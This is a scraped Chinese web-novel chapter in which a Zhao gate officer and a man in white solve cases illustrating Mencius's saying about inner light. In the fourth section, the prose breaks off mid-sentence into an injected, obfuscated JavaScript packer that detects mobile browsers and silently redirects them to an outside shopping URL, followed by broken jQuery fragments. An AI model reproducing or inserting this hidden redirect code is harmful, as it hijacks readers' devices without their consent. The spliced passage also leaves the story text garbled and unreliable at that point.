默认冷灰
24号文字
方正启体

57. 不亮谳

作者:檀垚本书字数:K更新时间:
    楔子·执烛夜


    秦赵长平战后,邯郸城宵禁。戌时三刻,城门司马高执正欲下钥,忽有黑衣客叩关:“军情急,需出城。”


    高执秉烛观其符节,果是军使印信,然烛火摇曳,照见来客面有慌色。副将低语:“司马,此人眼生,且已宵禁…”


    黑衣客急道:“延误军情,尔等担待?”


    高执默然片刻,忽吹熄烛火,城门顿暗。副将惊:“司马何故熄烛?”


    黑暗中,高执声稳如钟:“君子不亮,恶乎执?今烛不明,吾心自明。汝非军使——军使虎口有茧,汝手白如纸;军使行囊必有尘土,汝囊崭新。说!何人假冒?”


    黑衣客暴起抽刀,高执于黑暗中听风辨位,闪身擒拿。燃烛再视,果是敌国细作。


    副将拜服:“司马真神人也!”


    高执叹:“非神,是守心。心不明,纵千烛何用?”


    忽闻城楼有人拊掌:“善哉!君子不亮,恶乎执?”


    众人惊顾,见一白衣人坐于垛口,斗笠面纱,木剑横膝,不知何时而至。


    一、 烛下影


    白衣人飘然下垛,问高执:“足下方才言‘心不明,纵千烛何用’,然若无烛,何以辨细作?”


    高执揖道:“初秉烛,已观其疑;熄烛,是试其诈。烛在时,彼可伪装;烛灭时,彼必露慌。此谓‘不亮而执’。”


    “妙!”白衣人拊掌,“孟子曰:‘君子不亮,恶乎执?’今足下行事,正合此理——亮者,明也,信也。君子内心不明,何能执守正道?然此‘明’非借外光,是心中自有明烛。”


    副将惑:“然则烛火无用乎?”


    “烛火照形,心火照神。”白衣人指烛,“形可伪,神不可伪。适才司马熄烛,是弃形求神。此方是真明。”


    忽有驿卒奔至:“报!东门有车队求入,言是赵国流亡公子,携重宝投邯郸。”


    高执蹙眉:“公子?何公子?”


    “自称公子成,昔质于秦,今逃归。”


    白衣人问:“足下欲如何?”


    “往观之。”高执提烛欲行。


    白衣人忽道:“且带此烛。”自袖中取一白烛,其光皎洁,异于常烛。


    至东门,果见华车十乘,仆从百余。为首者锦衣玉带,确似公子。高执秉常烛近观,见其佩玉、衣纹、车制皆合礼,然面色僵白。


    白衣人递上白烛:“请用此烛。”


    烛光及处,那“公子”忽露慌色,袖中微颤。高执厉喝:“公子成左颊有痣,汝无!公子成畏漆,汝袖有漆渍!何方宵小?”


    “公子”暴起,竟是秦国死士假扮。随从皆抽刃,高执率军围捕。混战中,白衣人白烛不摇,光照如昼,贼人无所遁形,尽数就擒。


    事毕,高执拜问:“先生白烛,似有神通?”


    白衣人笑:“非烛神,是心明。此烛名‘本心烛’,但得心明,照物自真。适才足下已疑其伪,然常烛昏黄,照形不照心;此烛皎洁,能映心虚。可知孟子‘不亮’之要?”


    高执恍然:“君子内心若不光明磊落,何能执守是非?然此‘光明’非外求,是本心自明。方才下官若无本心之明,纵持先生宝烛,亦难辨奸邪。”


    “然也。”白衣人颔首,“今有一案,可验此理。”


    二、 暗室谳


    邯郸狱中,有悬案:富商李裕暴毙,密室无痕,唯枕下遗一玉佩,乃其婿王珂之物。王珂喊冤,然人证物证皆指向他,已定死罪,秋后问斩。


    高执请白衣人同审。至狱中,王珂蓬头垢面,泣血呼冤。白衣人问:“汝玉佩何以在岳丈枕下?”


    “小婿不知!那玉佩三月前已失窃…”


    “何人可证?”


    “吾妻可证!然…然岳丈死后,吾妻悲恸成疾,言语混乱…”


    高执叹:“其妻证言反复,不足为凭。”


    白衣人取“本心烛”置案,命提王妻李氏。烛光下,李氏面色惨白,目不敢视烛。


    白衣人温言:“夫人,此烛能照人心。若尔夫冤,烛焰直;若尔夫罪,烛焰摇。请观之。”


    众人视烛,焰果微摇。李氏色变。白衣人忽道:“烛焰摇,非因王珂罪,是因夫人心虚。”


    李氏瘫倒,泣道:“妾…妾有罪!玉佩是妾盗放,欲害夫…”


    满堂皆惊。李氏供:父李裕欲夺婿家产,与女合谋毒杀己身,嫁祸于婿。然李裕假死药过烈,竟真亡。女惧事泄,不敢言。


    高执怒:“虎毒不食子,尔等竟如此歹毒!”


    白衣人叹:“此正是‘君子不亮’——李裕父女内心晦暗,纵谋得家产,何能安然?今事败,是心暗必露也。”


    遂释王珂。珂拜泣:“谢青天!然小人愚钝,何以自明心灯,免再遭诬?”


    白衣人道:“心灯在己,不假外求。日常行事,但问是否光明磊落。若有一事不可告人,便是心灯蒙尘。积尘成暗,终将招祸。”


    又谓高执:“司马守城,亦当守心。城门之钥易掌,心门之钥难持。但得本心常明,奸邪自不能入。”


    高执拜受。白衣人赠《心灯诀》一卷,曰:“此非神通,是修心法。勤拂拭,莫使染尘。”


    三、 伪日谳


    越旬日,邯郸有“日照教”兴,教主自称“光明圣使”,言能赐人“心头光”,信徒数千。圣使设坛作法,取“圣水”售金,云饮之可心明眼亮。


    有信徒倾家购水,饮后亢奋,然数日复昏。高执疑为妖术,往查。圣使傲然:“吾教播撒光明,何罪之有?”


    白衣人现身坛下,笑问:“圣使既能赐光,可解此谜否?”取三碗,一盛清水,一盛圣水,一空置,覆以布,“三碗孰为圣水?”


    圣使作法良久,指清水:“此是圣水。”


    白衣人揭布,三碗皆空。众愕然。白衣人道:“圣使心头无光,故指虚为实。真正光明,不假外物。”取本心烛一照,圣使袖中落出药粉,乃曼陀罗末,致幻之物。


    圣使伏罪。白衣人对众信徒道:“世人皆求心灯,然灯在己心,何需外求?彼等以药幻为光,是售伪日也。孟子云‘君子不亮,恶乎执’,诸君自弃心灯,反求伪光,岂不悲哉?”


    有老者泣:“然我心常暗,何以自明?”


    “暗因有私。”白衣人温言,“私欲如幔,蔽心灯。去私欲,则灯自明。何需服药?”


    遂于坛址立“心灯台”,悬大白烛,不燃,旁题:


    “灯在心头,


    不假外焰。


    君子不亮,


    恶乎执善?


    但去私欲,


    光明自现。”


    自此,邯郸妖教渐息,市井多传“心灯”之说。


    四、 盗烛谳


    秋,秦军压境。有客商献“夜明烛”于赵王,云燃之可照百里,夜战如昼。赵王大喜,欲购万枝。高执谏:“烛虽明,恐损士卒目力,且耗资巨万。”


    客商嗤:“司马不舍小财,误军国大事!”


    白衣人私谓高执:“可请验烛。”


    夜,校场试烛。燃之果明如白昼,然烛烟刺鼻,士卒涕泪交加。白衣人取本心烛并燃,其光柔而不耀,烟清香。问士卒:“二烛孰佳?”


    皆指本心烛。


    白衣人谓客商:“君烛外明内毒,是盗明也。昔有盗日者,凿壁偷光,虽得亮,终是盗。今君以毒烟充明烛,是盗明而害人,岂可为军用?”


    客商汗下。白衣人又谓赵王:“大王,军之明在士气,不在烛光。士气盛,星月可战;士气衰,百日如夜。今秦军压境,当明士卒之心,非明战场之地。”


    赵王悟,却客商之烛,发库银犒军,士气大振。是夜,赵军袭秦营,不举火,衔枚而行,大破之。


    捷报至,高执问白衣人:“先生,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088209|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此可谓‘不亮而胜’乎?”


    “非不亮,是以心灯代外烛。”白衣人道,“士卒心明,知为何而战,故暗夜能行。若但恃明烛,心暗如夜,纵白日亦盲。此孟子‘不亮’之深意也。”


    遂于校场立“胜暗碑”,刻“君子不亮,恶乎执”七字,又附小注:


    “亮者,非目见之光,乃心守之明。


    君子内心不明,


    纵执干戈,如瞽夜行;


    内心光明,


    纵处暗室,如对青天。


    长平之胜,胜在心明;


    邯郸之固,固在志清。


    后世为将者,


    当先明心,后明阵。”


    尾声心灯传


    后十年,高执老,致仕授徒。每课童子,必问:“尔心灯明否?”


    有童问:“夫子,何以知灯明暗?”


    高执答:“做事可敢告父母?可敢质天地?可敢示子孙?若皆可,是灯明;若一不可,是灯暗。当拂拭。”


    童恍然。高执卒前,嘱葬“胜暗碑”侧,墓铭:


    “执烛守门三十秋,


    始知灯在心头。


    君子不亮恶乎执?


    但凭一念照九幽。”


    葬日,白衣人影现碑前,抚铭叹:


    “执烛易,执心难。


    亮于外易,明于内难。


    高执能执,是知其难。


    后世览者,


    可勉诸?”


    忽有童子夜读,持烛过碑,烛灭。童不慌,朗声诵:“君子不亮,恶乎执?我心有灯,何需外烛?”


    诵罢,安然行暗巷,步步稳实。


    白衣人莞尔,掷本心烛于童前:“此烛赠尔。然记:烛终有尽,心灯无穷。”


    童拜受。自后,邯郸童子多传“心灯谣”:


    “不亮不亮何需愁?


    心灯一盏照九幽。


    可对父母可对天,


    暗室不愧即明眸。


    君子执此光明在,


    何惧长夜永无休?”


    谣声袅袅,星河耿耿。


    似在说:


    亮啊,明啊。


    不在烛,在心。


    本章诫世


    一、 心灯为要


    - 君子不亮(内心不明),恶乎执(何能守道)?


    - 破解法:遇事当先自问:我心光明否?可告人否?


    - 示例:高执熄烛辨奸,是以心灯代外烛;日照教售伪光,是以幻术充明心


    二、 明暗之辨


    - 外烛照形,心灯照神;形可伪,神不可伪


    - 惕世:多少人求外明(名利权势),不修内明(心地光明)?多少“光明正大”,实是暗室亏心?


    - 反思:可有一事不敢告人?可有一念不可对天?


    三、 执守之本


    - 内心不明,纵执干戈如瞽夜行;内心光明,纵处暗室如对青天


    - 深层隐喻:一切作为,皆需心地光明为基


    - 终极指向:修心灯,胜于点烛;明本心,胜过万法


    不亮偈:


    长平战后邯郸秋,高执守门秉烛愁。


    君子不亮恶乎执?白衣指灯在心头。


    日照妖教售伪焰,暗室冤狱照真羞。


    但得本心常皎洁,何需外烛照九幽?


    后世叹:


    城门司马高执公,秉烛守夜辨奸雄。


    君子不亮难执守,心灯自明可贯通。


    外烛虽耀终是幻,内光虽微乃真炯。


    寄语世间执炬者,莫将幻火当心灯。


    正是:


    君子不亮恶乎执?心灯自照胜外烛。


    高执熄烛擒细作,白衣燃犀照冤狱。


    妖教伪日终是幻,本心真明乃可笃。


    寄语世间求明者,莫向他处寻火烛。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)